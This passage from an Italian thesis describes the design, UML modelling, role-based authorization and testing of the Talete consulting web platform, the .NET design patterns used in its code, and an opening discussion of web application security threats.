Nella figura è possibile vedere i tre livelli citati prima:
Tra le aree abbiamo:
Figura 6 I 3 livelli di Talete
22

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Figura 7 Aree di Talete
Nella figura seguente sono presentate le applicazioni dell’area CdG, che sono:
Figura 8 Applicazioni dell’area CdG di Talete
E al terzo ed ultimo livello sono raffigurate le anagrafiche dell’applicazione ORG di CdG:
Figura 9 Anagrafiche dell’applicazione ORG di Talete
23

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Nella parte destra della home page è presente il controllo per effettuare il login, e, dopo aver
eseguito l’accesso, vengono mostrate, oltre al nome dell’utente connesso e all’organizzazione
di appartenenza, le pagine relative all’amministrazione vera e propria della piattaforma, create
in questo lavoro.
2.4 Progettazione della piattaforma Talete
Dopo aver effettuato una panoramica molto generale di Talete, si affronteranno ora le
problematiche relative alla progettazione del sistema, secondo le linee guida proposte dalla
“Ingegneria del Software”, attraverso la quale si identifica una formalizzazione del processo di
realizzazione di un prodotto software dalla fase di concepimento fino alla sua morte funzionale.
Per questo motivo si parla spesso di ciclo di vita di un software.
Con questa espressione ci si riferisce al modo in cui una metodologia di sviluppo o un modello
di processo scompongono l’attività di realizzazione di prodotti software in sottoattività fra loro
coordinate, il cui risultato finale è il prodotto stesso e tutta la documentazione ad esso
associato.
Questi concetti rappresentano un passaggio storico dallo sviluppo del software inteso come
attività "artigianale" (ovvero affidata alla libera creatività dei singoli individui) ad un approccio
più metodologico in cui la creazione di programmi è considerata come un processo complesso
che richiede pianificazione, controllo, e documentazione appropriati.
Le principali attività (e sottoattività) costituenti il processo di sviluppo sono le seguenti:
- la fase di analisi, ovvero l’indagine preliminare sul contesto in cui il prodotto software deve
inserirsi, sulle caratteristiche che deve esibire, ed eventualmente su costi e aspetti logistici
24

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
della sua realizzazione. In senso ampio si può dire che l’analisi ha lo scopo di definire (il
più precisamente possibile) il problema da risolvere.
- la fase di progetto, in cui si definiscono le linee essenziali della struttura del sistema da
realizzare, in funzione dei requisiti evidenziati dall’analisi. Si può affermare che la fase di
progetto ha lo scopo di definire (ad un certo livello di dettaglio) la soluzione del problema.
In questa fase sarà sviluppato un documento che permetterà di avere una definizione della
struttura di massima (architettura di alto livello) e una definizione delle caratteristiche dei
singoli componenti (moduli);
- la fase d’implementazione (o codifica) del sistema, ovvero la sua realizzazione concreta; in
pratica, l’implementazione ha lo scopo di realizzare la soluzione.
- la fase di collaudo volta a determinare in che misura il sistema realizzato soddisfa i requisiti
stabiliti nella fase di analisi, ovvero a valutarne la correttezza rispetto alle specifiche.
- la fase di manutenzione, che comprende tutte le attività di modifica del software successive
al suo rilascio presso il cliente o la sua immissione sul mercato. Queste attività possono
essere volte a correggere errori del software o estenderne le funzionalità.
2.4.1 Analisi dei requisiti
In ingegneria del software, l’analisi ha lo scopo generale di chiarire, dettagliare e documentare
le funzioni, i servizi e le prestazioni che devono essere offerti da un sistema software, al fine di
risolvere un dato problema nel contesto in cui esso dovrà operare. Le informazioni raccolte
nella fase di analisi rappresentano il punto di partenza per la progettazione di un prodotto
software e per l’intero processo della sua realizzazione, validazione e manutenzione.
Esempi di sottoattività che si possono considerare parte dell’analisi in senso generale,
includono:
25

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
- la definizione del problema, che consiste nel comprendere a fondo il problema che il
sistema da sviluppare è chiamato a risolvere;
- l’analisi di fattibilità, che ha lo scopo di stabilire se gli obiettivi che ci si pongono nello
sviluppo del sistema siano ragionevoli e raggiungibili;
- l’analisi dei costi e benefici, che valuta preliminarmente la convenienza economica dello
sviluppo del sistema software in esame, tenendo conto dei suoi costi previsti e dei benefici
che può fornire ai suoi utenti;
- l’analisi del dominio, che consiste nel comprendere a fondo il contesto o dominio
applicativo in cui il sistema dovrà agire;
- l’analisi dei requisiti, che consiste nello specificare dettagliatamente i servizi, le funzioni ed
eventualmente le prestazioni richieste per il sistema; questa fase porta come minimo alla
stesura della specifica dei requisiti.
Il problema da risolvere è stato già accennato in precedenza, ma in questa fase si cerca di
analizzarlo e spiegarlo in tutte le sue sfaccettature. Innanzitutto sono state individuate le
strutture e le persone che interagiscono con la piattaforma. Le strutture sono: i concessionari e
le organizzazioni.
I concessionari (intesi come struttura e non come persone fisiche) corrispondono a società di
consulenza (come l’Equipe) e quindi rappresentano quelle organizzazioni che erogano il
servizio. Le organizzazioni invece sono le aziende che chiedono e fruiscono del servizio di
consulenza. Ovviamente le azioni che possono svolgere gli utenti di un’organizzazione, o di un
concessionario saranno differenti. Le persone fisiche che hanno a che fare con la piattaforma e
che quindi possono accedere ad essa sono: amministratore (che è l’unico ruolo statico),
concessionario (inteso come proprietario di una società che eroga consulenza), consulente,
proprietario, e un utente qualsiasi di un’organizzazione.
In questa prima fase, sono stati analizzati attentamente i vari ruoli e quindi le azioni che
possono essere svolte a seconda se l’utente loggato è un proprietario o un consulente o un
utente generico; in base al ruolo della persona, sono state assegnate le autorizzazioni, che
26

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
permetteranno di definire il comportamento del sistema, schematizzabile tramite il seguente
diagramma:
Figura 10 Funzionamento del sistema
Per modellare il funzionamento del sistema in base alle autorizzazioni date, sono stati
realizzati alcuni diagrammi UML, fondamentali in questa fase di progettazione.
27

2.4.2 Diagrammi UML
CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Lo Unified Modeling Language (UML, traducibile come “linguaggio di modellazione
unificato”) è una famiglia di notazioni grafiche che si basano su un singolo meta-modello e
servono a supportare la descrizione e il progetto dei sistemi software, in particolare quelli
costruiti seguendo il paradigma orientato agli oggetti (OO).
La ragione principale per cui i linguaggi grafici sono stati introdotti è il livello di astrazione dei
linguaggi di programmazione, che non è abbastanza alto da permettere la discussione diretta
delle scelte di progetto. Per questo motivo, già durante la fase di analisi dei requisiti, spesso
sono costruiti una serie di diagrammi basati su UML, così da poter sintetizzare graficamente
tutti gli aspetti coinvolti nell’ambito del progetto, prima, durante e dopo la sua
implementazione.
Per quanto riguarda la fase di sintesi dei requisiti, sono stati realizzati i diagrammi delle attività
e dei casi d’uso. In seguito è stato sviluppato il diagramma delle classi, così da sintetizzare la
localizzazione, all’interno di esse, dei dati e dei metodi del software da sviluppare.
2.4.3 Diagramma dei casi d’uso
I diagrammi dei casi d’uso servono per modellare i requisiti del sistema dal punto di vista
dell’utente. In essi vengono individuati:
1) attore: rappresenta il ruolo che un utente deve svolgere; nel nostro caso abbiamo individuato
l’utente generico, il concessionario, il proprietario, il consulente e l’amministratore.
2) caso d’uso: particolare compito che deve essere svolto; nel nostro caso sono state definite le
operazioni di autenticazione, di modifica e di visualizzazione. In particolare, grazie alla
28

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
costruzione di questo diagramma è possibile vedere le operazioni che possono svolgere gli
utenti che accedono a Talete: ad esempio il concessionario vede tutte le proprie organizzazioni,
può creare e rimuovere organizzazioni, vede tutti i suoi consulenti e i permessi dei propri
utenti; non può visualizzare gli altri concessionari o gli utenti delle altre organizzazioni. Il
consulente vede le organizzazioni a cui appartiene, e quelle che hanno come concessionario il
suo; può modificare alcuni dati di esse, ma non può aggiungere o cancellare organizzazioni.
Non vede gli altri concessionari o i consulenti delle altre organizzazioni e non accede alla
pagina delle autorizzazioni. Infine il proprietario vede la propria organizzazione e può
aggiornare i dati relativi ad essa, vede i suoi consulenti, ma non visualizza né quelli altrui né i
concessionari. Egli accede alla pagina delle autorizzazioni assegnando i permessi agli utenti
della propria organizzazione.
3) Uses: indica una componente necessaria per svolgere una determinata operazione. Per
quanto riguarda il nostro sistema ad esempio, tutti i casi d’uso sono subordinati alla fase di
autenticazione; tuttavia nel disegno ne è rappresentato solo uno per evitare intrecci di linee.
4) Extends: indica le eccezioni o le varianti allo scenario principale. Nel nostro caso, lo use
case definito come “numero massimo di consulenti raggiunto” è un’eccezione dello scenario
“modificare consulenti della propria organizzazione”, in quanto ogni organizzazione può avere
un determinato numero di consulenti; raggiunto questo valore non è più possibile aggiungerne
degli altri.
Nel diagramma in figura non sono stati aggiunti i collegamenti tra l’attore Amministratore e gli
use case, in quanto l’amministratore può compiere qualsiasi azione e quindi sarebbe da
collegare a tutti gli use case, e questo comporterebbe una notevole confusione nel grafico.
29

2.4.4 Diagramma delle attività
CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Figura 11 Diagramma dei casi d’uso
Nella modellazione basata sugli scenari, una volta individuati gli attori, è necessario ricercare le
principali attività che sono alla base del corretto funzionamento del sistema. Più precisamente,
un diagramma di attività descrive il flusso di elaborazione interno di una classe, di un caso
d’uso o di un’operazione; rappresenta, insomma, un’azione in esecuzione e possiamo
considerarlo il corpo di una procedura se identifichiamo le attività come delle istruzioni.
Il grafico è composto da:
30

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
1) Attività: un’azione in esecuzione; nel nostro sistema sono state considerate le operazioni di
visualizzazione, modifica delle organizzazioni e modifica dei consulenti.
2) Transizione: rappresenta l’istante in cui un’attività termina ed un’altra inizia; sono appunto
le frecce che collegano le varie attività fra loro.
3) Punto di decisione: rappresenta un modo per separare le transizioni, infatti, a volte lo stesso
evento può portare a transizioni diverse distinte da una condizione; nel nostro sistema dopo
l’operazione di autenticazione si può verificare la condizione di login esatto e in tal caso si può
accedere alla piattaforma, oppure di login errato che “conduce” allo stop che determina la fine
delle attività.
31

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Figura 12 Diagramma delle attività
32

2.4.5 Diagramma delle classi
CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Il diagramma delle classi serve a descrivere il tipo di oggetti che fanno parte di un sistema e le
varie tipologie di relazioni statiche tra di essi. Mostrano anche le proprietà e i metodi di una
classe, e i vincoli che si applicano ai collegamenti tra gli oggetti.
Nella progettazione del sistema di autenticazione e autorizzazione di Talete, sono state
individuate sei classi di analisi, con la classe DAL che è la superclasse che contiene i riferimenti
al DB usato da cui discendono le altre, e le classi Utente e Autorizzazione che contengono i
metodi per gestire l’accesso alle varie aree e alle pagine della piattaforma.
Figura 13 Diagramma delle classi
33

2.4.6 Implementazione della soluzione
CAPITOLO II - Talete: Autenticazione ed Autorizzazione
La gestione degli accessi alla piattaforma è stata divisa in due parti: nella prima sono state
considerate le pagine di amministrazione, vale a dire quelle relative ai concessionari, alle
organizzazioni e cosi via, presenti nella parte destra della home page di Talete;
Figura 14 Pagine di amministrazione
nella seconda, di maggiore interesse, è stato gestito l’accesso alle varie aree (CdG, Qualità...) a
seconda dei permessi dati dal proprietario. Illustro questa seconda parte partendo da un
esempio. Supponiamo di avere l’organizzazione AngeloChitarre con 2 utenti: Angelo Vocino
che è il proprietario, e Mario che è un utente generico.
34

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Figura 15 Esempio di organizzazione: “AngeloChitarre”
Ho fatto il login accedendo con username angelo.vocino, cioè attualmente l’utente loggato è il
proprietario dell’organizzazione, il quale può accedere a qualsiasi area di Talete. Mentre
l’utente Mario, dato che è stato appena aggiunto all’organizzazione AngeloChitarre, non ha
nessun permesso e quindi non accede a nessuna area; c’è bisogno che il proprietario dia le
giuste autorizzazioni all’utente e a tal proposito accediamo alla pagina “Autorizzazioni”:
Figura 16 La pagina “Autorizzazioni”
L’utente Mario non ha nessun permesso, altrimenti l’albero (realizzato con il controllo della
Telerik RadTreeView) “Talete” sarebbe stato espanso. A questo punto il proprietario può dare
le autorizzazioni, espandendo l’albero, e mettendo i check sulle caselle opportune come
mostrato in figura.
35

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Figura 17 Albero con check nella pagina “Autorizzazioni”
In questo caso, l’utente Mario ha i permessi per accedere solamente a tutta l’area CdG, quindi
se proverà ad entrare in qualsiasi altra pagina di Talete, gli verrà restituito il messaggio
“L’accesso a questa pagina non è consentito”; il bottone “Salva i permessi” permette di salvare
le autorizzazioni nel database.
36

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Figura 18 Il bottone “Salva i permessi”
Dopo aver salvato i permessi, ad ogni accesso alla pagina (delle persone autorizzate
ovviamente), sarà possibile vedere le autorizzazioni dell’utente Mario e di conseguenza
modificarle con operazioni di check/uncheck.
2.4.7 Collaudo del sistema
Dopo la realizzazione del software di sistema è necessario effettuare il collaudo per poter
individuare eventuali errori presenti nel programma, per valutarne l’adeguatezza, per
37

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
evidenziare le prestazioni del sistema e per indicare la qualità del software. A tale proposito
sono previste la fase di verifica e quella di convalida.
Entrambe sono attività che si prefiggono di determinare malfunzionamenti, anomalie ed errori
nel software, ma mentre la convalida ha come fine quello di assicurare che il sistema software
sia conforme ai requisiti dell’utente, la verifica si occupa di assicurarne il corretto
funzionamento rispetto alle specifiche dell’analista.
Nello svolgere queste attività si utilizzano strumenti complementari fra loro quali: i Metodi
Formali, basati su un’analisi statica del codice e il Testing basato su un’analisi dinamica del
codice.
L’attenzione è stata focalizzata su quest’ultimo che consiste in un processo di valutazione di un
sistema attraverso strumenti manuali o automatici al fine di determinare se questo soddisfa i
requisiti specificati oppure se il suo comportamento attuale differisce da quello atteso. Dalla
teoria del testing è noto che esistono due categorie di verifiche:
- black-box testing (o testing funzionale): con questo metodo viene effettuata un’analisi del
comportamento del software basandosi sui risultati degli output ottenuti eseguendo moduli con
degli input prestabiliti.
- white-box testing (o testing strutturale): in esso i casi di test vengono scelti in base
all’implementazione e alla struttura del programma. Questa classe di testing é fondata sulla
definizione dei casi di prova, degli input associati e del comportamento previsto sulla base della
conoscenza della struttura dell’applicazione.
Per quello che riguarda il nostro codice, ci siamo limitati a svolgere delle verifiche seguendo la
prima tipologia di testing con:
- la generazione a priori di pattern di test prendendo solo i valori semantici delle grammatiche
- il passaggio di questi input al debugger
- l’analisi degli output
Fondamentale, per lo sviluppo e i miglioramenti del codice relativo alle autorizzazioni, è stato
il Beta testing, in cui il sistema viene fornito ad alcuni potenziali utenti che accettano di usarlo
38

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
e riportare eventuali problemi. È possibile che il Beta testing comporti la modifica del sistema e
il rilascio di nuove versioni da sottoporre nuovamente a questo test.
Il testing è il metodo più usato per determinare malfunzionamenti dei programmi; ma bisogna
sempre tener presente la tesi di Dijkstra: “Il test di un programma può rilevare la presenza di
malfunzionamenti, ma mai dimostrarne l’assenza “.
39

CAPITOLO III - Progettare un’applicazione: i design
pattern
40

CAPITOLO III - Progettare un’applicazione: i design pattern
3.1 Introduzione alla progettazione di applicazioni object-oriented
Progettare applicazioni basate sul paradigma object-oriented non è affatto banale; riuscire a
renderle anche riusabili ed estendibili a piacimento è ancora più arduo. Ciò che occorre di volta
in volta, è saper individuare gli oggetti giusti, con un livello di dettaglio e granularità adeguato,
ed essere in grado di definire una struttura gerarchica consistente, basata su un insieme di
relazioni e collaborazioni coerenti ed efficaci.
Per questo riuscire nell’intento di definire al primo tentativo una struttura ad oggetti che sia
corretta e al tempo stesso riusabile e flessibile è “un’impresa” molto difficile, soprattutto nel
caso di applicazioni particolarmente complesse. In genere, durante la sua realizzazione,
un’applicazione subisce innumerevoli modifiche dettate dalla variabilità delle specifiche
progettuali, dalla scarsa conoscenza del dominio applicativo e dall’inesperienza. In più la
mancanza di tempo, che nei progetti di sviluppo è un aspetto quasi congenito, porta sovente a
scegliere soluzioni molto focalizzate sul modello reale attuale e poco orientate a adattarsi ai
cambiamenti futuri.
In uno scenario come quello descritto, diventa importante sia per chi progetta, sia per chi scrive
il codice saper individuare delle soluzioni che siano riutilizzabili più volte nell’ambito di uno
stesso progetto senza ogni volta dover partire da zero per risolvere uno specifico problema.
Per minimizzare il lavoro da svolgere, gli sviluppatori meno esperti solitamente tendono a
ricorrere a tecniche non object-oriented, con il risultato di duplicare parti di codice e di
introdurre in modo più o meno voluto accoppiamento e dipendenze tra gli oggetti. Gli architetti
e gli sviluppatori con più esperienza tendono invece a preferire le soluzioni object-oriented che
in passato si sono rivelate vincenti ed efficaci.
Queste soluzioni, che in prima analisi possiamo definire pattern, sono orientate a risolvere
particolari problematiche di progettazione e tendono ad introdurre, nell’ambito di una struttura
ad oggetti, quella flessibilità che è necessaria per rendere il codice riutilizzabile ed estendibile.
Non tutti i pattern sono uguali ed è bene capire come possono essere strutturati e organizzati.
Poiché esistono diverse tipologie di pattern in funzione della loro area di applicazione, in
generale essi possono essere raggruppati in macrocategorie specifiche (cluster), ciascuna delle
41

CAPITOLO III - Progettare un’applicazione: i design pattern
quali contenente pattern orientati a risolvere problematiche similari. Oltre che l’appartenenza
ad un determinato cluster, per un pattern è possibile considerare come fattore distintivo anche il
livello di astrazione che lo contraddistingue. Nell’ambito del cluster dei pattern relativi allo
sviluppo di applicazioni software possiamo individuare tre categorie di pattern caratterizzate da
un diverso livello di astrazione:
• Pattern architetturali: descrivono lo schema organizzativo della struttura che caratterizza un
sistema software. In genere questi pattern individuano le parti del sistema a cui sono associate
responsabilità omogenee e le relazioni che esistono tra i diversi sottosistemi. Un esempio
significativo di pattern architetturale è rappresentato dal layering, che descrive come
suddividere un’applicazione in strati logici sovrapposti e tra loro comunicanti.
• Pattern di disegno: sono i pattern che si riferiscono alle problematiche legate al disegno
object-oriented.
• Pattern di implementazione (idiomi): sono pattern di basso livello specifici per una particolare
tecnologia (ad esempio per il Framework .NET). Essi descrivono le modalità implementative
da utilizzare per risolvere problematiche di sviluppo sfruttando in modo mirato le
caratteristiche peculiari di una particolare piattaforma.
42

3.2 Il significato dei design pattern
CAPITOLO III - Progettare un’applicazione: i design pattern
Uno degli aspetti più delicati nel disegno object-oriented consiste nella scomposizione del
sistema in oggetti. Si tratta di un’attività complessa dal momento che entrano in gioco fattori
non direttamente collegati alle specifiche funzionali quali l’accoppiamento tra oggetti, la loro
dipendenza, la coesione funzionale, la granularità, la flessibilità, l’estendibilità e la riusabilità;
questi aspetti devono necessariamente influenzare il processo di scomposizione, talvolta anche
in modi tra loro discordanti.
Esistono diversi approcci che permettono di scomporre in oggetti un sistema. È possibile
partire dai casi d’uso, individuare in essi i sostantivi e i verbi e da questi ricavare le classi e i
metodi corrispondenti al fine di ottenere la struttura ad oggetti desiderata. In alternativa, è
possibile porre l’attenzione principalmente sulle responsabilità e sulle collaborazioni
nell’ambito del sistema in fase di studio e, in funzione di esse, individuare gli oggetti necessari
per gestirle opportunamente. Infine è possibile partire da un modello del mondo reale e tradurre
gli elementi individuati in altrettanti oggetti.
Ognuno di questi approcci concorre a definire la struttura statica del sistema che, se da un lato
rispecchia la realtà di oggi, dall’altro in genere non si presta direttamente ad evolvere nel tempo
e ad adattarsi alla realtà di domani. I design pattern aiutano ad individuare queste astrazioni e
gli oggetti in grado di rappresentarle, agevolando, inoltre, il riuso di soluzioni architetturali
note, rendendo accessibili agli architetti e agli sviluppatori tecniche di disegno universalmente
riconosciute come valide ed efficaci. In questo senso essi aiutano i progettisti ad operare scelte
consapevoli tra le varie alternative possibili allo scopo di favorire la riusabilità.
In genere un design pattern è caratterizzato da quattro elementi fondamentali:
• Nome: descrive le funzionalità di un pattern con una o due parole. Associare un nome ad un
pattern permette di identificarlo in modo semplice ed immediato, e consente di condividere le
idee di disegno ad un livello più alto di astrazione, senza la necessità di dover entrare nei
dettagli implementativi.
43

CAPITOLO III - Progettare un’applicazione: i design pattern
• Problema: descrive la situazione alla quale applicare il pattern e le condizioni necessarie e
propedeutiche all’utilizzo del pattern stesso.
• Soluzione: descrive in modo astratto come il pattern risolve il problema, specificando gli
elementi coinvolti con le loro responsabilità e collaborazioni. La soluzione viene solitamente
espressa in modo sufficientemente generale da lasciare numerosi gradi di libertà nelle possibili
scelte implementative. Un pattern infatti è come uno schema che può essere applicato
ripetutamente, il più delle volte in modo particolare e differente.
• Conseguenze: descrive l’insieme dei risultati e dei vincoli a cui si va incontro
nell’applicazione del pattern. Le conseguenze sono fondamentali per poter valutare i vantaggi e
gli svantaggi derivanti dall’uso del pattern e per poter eventualmente preferire soluzioni
alternative per la risoluzione del problema.
3.3 Il cluster dei pattern GoF
Tra i vari design pattern noti in letteratura, i pattern GoF (Gang of Four) formano senza dubbio
un cluster fondamentale. Conoscere i nomi e le motivazioni di questi pattern rappresenta senza
dubbio un buon punto di partenza per poter successivamente approfondire i dettagli che li
riguardano ed eventualmente valutarne l’utilizzo.
I 23 pattern che compongono questo cluster sono organizzati in tre categorie distinte e tra loro
complementari:
• 5 pattern creazionali, che riguardano la creazione di istanze;
44

CAPITOLO III - Progettare un’applicazione: i design pattern
• 7 pattern strutturali, che si riferiscono alla composizione di classi e oggetti;
• 11 pattern comportamentali, che si occupano delle modalità con cui classi e oggetti
interagiscono tra loro in relazione alle loro diverse responsabilità.
Nella figura seguente sono mostrati tutti i pattern e le categorie a cui appartengono:
Figura 19 I 23 design pattern
Per selezionare i design pattern, bisogna considerare come questi risolvono i problemi di
progettazione analizzando l’intento del pattern, studiando le interrelazioni tra essi,
confrontando tra loro i pattern di uno stesso scopo; infine un aspetto importante da tener
45

CAPITOLO III - Progettare un’applicazione: i design pattern
presente nella scelta di un design pattern è considerare cosa potrebbe essere variabile nel
progetto in modo da anticipare i nuovi requisiti e i cambiamenti a quelli esistenti.
3.4 I design pattern usati in Talete
Dopo aver fatto questa introduzione sui design pattern andiamo a vedere il largo uso che se ne
fa nel framework .NET e quindi l’implementazione nella nostra applicazione.
• ABSTRACT FACTORY
L’Abstract Factory è un pattern creazionale che ha lo scopo di fornire un’interfaccia per la
creazione di famiglie di oggetti tra loro correlati o dipendenti, limitando l’accoppiamento
derivante dall’uso diretto delle classi concrete. Questo pattern trova applicazione all’interno di
.NET Framework 2.0 in vari ambiti; uno di questi è ADO.NET.
ADO.NET è parte integrante del .NET Framework, e mette a disposizione una serie di classi
che consentono l’accesso a differenti tipi di database con la massima efficienza possibile.
I managed provider di ADO.NET 2.0 implementano un insieme comune di classi astratte
contenute nel namespace System.Data.Common; ciascuna implementazione contiene aspetti
peculiari relativi alla sorgente dati a cui il data provider concreto si riferisce.
Tra le classi del namespace System.Data.Common è presente la classe statica
DbProviderFactories che ha lo scopo di fornire le funzionalità necessarie all’enumerazione e
alla creazione degli oggetti factory specifici di ogni managed provider. Tramite il metodo
GetFactoryClasses() è possibile ottenere l’elenco dei data provider specificati nell’ambito dei
file di configurazione, mentre tramite il metodo GetFactory(String) è possibile creare uno
46

CAPITOLO III - Progettare un’applicazione: i design pattern
specifico oggetto factory in funzione del nome invariante che identifica univocamente il
managed provider da utilizzare.
Le classi derivate da DbProviderFactory consentono a loro volta di istanziare i principali
oggetti per l’accesso ai dati come una connessione o un comando, eliminando l’accoppiamento
tra l’istanza creata e il suo contesto d’utilizzo. Sfruttando il polimorfismo e l’insieme di classi
base astratte contenute in System.Data.Common, l’approccio basato sul provider factory
permette di scrivere codice che è indipendente dal particolare managed provider utilizzato. Nel
nostro caso abbiamo la classe DatabaseConfigurationView.cs in cui viene creato l’oggetto
factory:
DbProviderFactory providerFactory = DbProviderFactories.GetFactory(dbProviderName);
e la classe:
public sealed class MySQLClientFactory : DbProviderFactory
che eredita da DbProviderFactory
Il provider name viene specificato nel file web.config nella sezione connection strings:
Nel web.config viene specificato il nome del PC, la sorgente dei dati che in questo caso è il
localhost, il nome del database e la stringa di connessione relativa ad un database MySQL.
• BUILDER
Il pattern Builder consente di dividere la costruzione di un oggetto complesso e composito dalla
sua rappresentazione, in maniera tale che lo stesso processo di costruzione possa essere
47

CAPITOLO III - Progettare un’applicazione: i design pattern
utilizzato per creare rappresentazioni diverse. Questo pattern è molto usato all’interno di .NET
Framework, ma una delle applicazioni più significative riguarda senza dubbio la costruzione
delle stringhe di connessione verso una sorgente dati.
Oltre ad essere recuperata dal file di configurazione (web.config), una stringa di connessione
può essere costruita in modo programmatico; ADO.NET 2.0 fornisce in modo nativo per i vari
managed provider un’implementazione specifica della classe astratta
dbConnectionStringBuilder per la costruzione di stringhe di connessione in modo
programmatico.
La classe in questione permette di assemblare la stringa di connessione, fornendo un controllo
intrinseco sul formato e sulla validità delle parti costituenti. I parametri della stringa di
connessione sono proprietà dell’oggetto builder, che possono essere settate prima
dell’assemblaggio finale. Nel caso in cui i parametri della stringa di connessione derivino da
input da parte dell’utente (come, per esempio, controlli TextBox), l’utilizzo dell’oggetto
builder migliora notevolmente la sicurezza, riducendo in modo significativo il rischio di
iniezioni.
Nel nostro caso abbiamo la classe MySQLConnectionStringBuilder che eredita da
DbConnectionStringBuilder
public sealed class MySQLConnectionStringBuilder : DbConnectionStringBuilder
• TEMPLATE METHOD
Il Template Method permette di definire la struttura di un algoritmo all’interno di un metodo di
una classe lasciando ai tipi da essa derivati, la responsabilità di definire in modo particolare
alcuni dei passi dell’algoritmo, senza dover implementare ogni volta da zero l’intera struttura
dell’algoritmo stesso; un esempio molto significativo è rappresentato dai controlli Web.
Ciascun controllo è soggetto ad un ciclo di vita per la costruzione del markup necessario alla
sua rappresentazione, durante il quale sono eseguiti una serie di passi fino al rendering finale.
48

CAPITOLO III - Progettare un’applicazione: i design pattern
Questi passi sono rappresentati da altrettanti metodi, per lo più protetti, che implementano le
caratteristiche e i comportamenti predefiniti per il controllo.
Molti dei principali controlli, tra cui Button, Label o Image, implementando in modo
particolare questi metodi (non necessariamente tutti), ridefiniscono le modalità con cui il loro
markup viene generato. Nel nostro applicativo questa personalizzazione la possiamo
evidenziare nei controlli della Telerik da noi usati per estendere quelli che Visual Studio mette
già a disposizione.
Con questi due esempi è possibile vedere la customizzazione di 2 web controls della Telerik
che sono il RadMenuItem e la RadSplitBar.
Questo tipo di rappresentazione e la strutturazione forniscono un meccanismo molto potente e
pratico per la personalizzazione dei controlli da parte degli sviluppatori. Del resto la
motivazione principale del pattern Template Method è quella di fornire un meccanismo di riuso
del codice, che limiti al massimo le ripetizioni, possibili cause di errori inattesi dovuti ad una
scarsa standardizzazione dei comportamenti di base.
49

CAPITOLO III - Progettare un’applicazione: i design pattern
L’uso del pattern Template Method rappresenta anche una soluzione efficace in termini di
estendibilità. È il caso, per esempio, di System.Collections.ObjectModel.Collection.
Questa classe è la rappresentazione di un insieme di elementi di tipo T, che funge da wrapper
per il tipo generico System.Collections.Generic.List, ma, rispetto ad esso, fornisce
meccanismi di estendibilità sfruttando appunto il pattern in questione. Sono tanti gli esempi di
uso di questo template nel nostro codice; di seguito viene riportata una proprietà della classe
Concessionario.cs, in cui viene customizzato il tipo generico System.Collections.Generic.List
con System.Collections.Generic.List:
Figura 20 Template Method in Talete
In pratica questa proprietà restituisce una lista di organizzazioni, cioè di oggetti di tipo
Organizzazione, selezionandole tramite una query Select dal database. Si può notare l’uso del
parameter id nella query per evitare SQL injection (minaccia che sarà approfondita in seguito).
50

CAPITOLO III - Progettare un’applicazione: i design pattern
Questi 3 pattern mostrati sono solo un esempio dell’importanza del loro uso
nell’implementazione del codice di un’applicazione, ma le forme e i modi con cui servirsi di
essi sono tanti, considerando che l’esperienza è un fattore fondamentale per una buona
progettazione; infatti, un progettista esperto non parte mai da zero, riutilizza soluzioni che si
sono dimostrate valide in passato. Quindi, oltre al riuso nella scrittura del software, è
fondamentale anche un riuso nella progettazione.
51

CAPITOLO IV - La sicurezza nelle web applications
52

4.1 Introduzione
CAPITOLO IV - La sicurezza nelle web applications
Da sempre sono state scritte applicazioni di tipo informatico senza dare tanto peso (o forse per
niente) al problema della sicurezza; ma come è stato già detto in precedenza, ora i tempi sono
cambiati. Infatti, fino a una decina di anni fa c’erano applicazioni monolitiche, stand-alone, che
giravano su un singolo PC (il più delle volte staccato dalla rete). Quindi i problemi di sicurezza
erano quasi sconosciuti, magari si usava qualche password solo per collegarsi in rete; oggi il
discorso è cambiato radicalmente come si può vedere anche dalla tabella seguente.
Year 2000 2001 2002 2003 2004 2005 2006 1Q,2007
Vulnerabilities 1,090 2,437 4,129 3,784 3,780 5,990 8,064 2,176
(da www.cert.org)
Figura 21 Statistiche degli attacchi nel 2007
53

CAPITOLO IV - La sicurezza nelle web applications
Dalle statistiche risulta che il numero di vulnerabilità aumenta terribilmente anno dopo anno e
lo stesso vale anche per le intrusioni; questo non è dovuto al fatto che si utilizza software più
“bacato”, oppure sistemi operativi meno sicuri o apparecchiature più scadenti, ma si può
constatare che ci sono sempre più fonti di attacco. Naturalmente il problema che lo sviluppatore
non si è mai posto prima, ora comincia a diventare molto importante e da prendere in
considerazione da subito nello sviluppo: “la sicurezza deve essere parte integrante di ogni
singola fase del ciclo di vita di un’applicazione e deve partire dall’architettura”.
4.2 Evoluzione degli attacchi
Perché scrivere codice sicuro? Come dice Gartner (specializzato in ricerche di mercato), gli
attacchi si stanno spostando dal livello di rete a quello applicativo (“over 70% of security
vulnerabilità exists at the application layer, not network layer”); ad esempio è possibile, con
una SQL-injection, bucare una rete robusta penetrando nella DMZ.
Oggi viviamo un momento in cui il mirino è puntato soprattutto sulle applicazioni web. Sono
queste infatti ad offrire un’appetibile superficie di attacco visto che ogni singola pagina
costituisce un potenziale punto di ingresso per l’hacker, alla continua ricerca di una
vulnerabilità. Pensare però che la sicurezza si riduca ad una partita sul web è un grosso errore.
Tuttavia l’aver rafforzato le barriere sul web sposta necessariamente l’attenzione su tutto il
resto e l’attacco dall’interno della lan è una delle attrattive più forti.
Basti pensare al classico software gestionale: si può dire esente da problemi di sicurezza perché
lavora solo in lan? Certamente no, in quanto le minacce dall’interno di essa sono in continuo
aumento, siano essi attacchi consapevoli o inconsapevoli, come quelli veicolati da utenti che
scaricano e installano malware da Internet. Quanto danno possono fare i privilegi di un utente
54

CAPITOLO IV - La sicurezza nelle web applications
nella lan? Guardando per un attimo il problema solo dal punto di vista applicativo, si può
immaginare la possibilità che ha un utente di collegarsi direttamente al database aziendale
tramite Access e scrivere dentro le tabelle; purtroppo questa è ancora una realtà troppo diffusa e
pericolosissima.
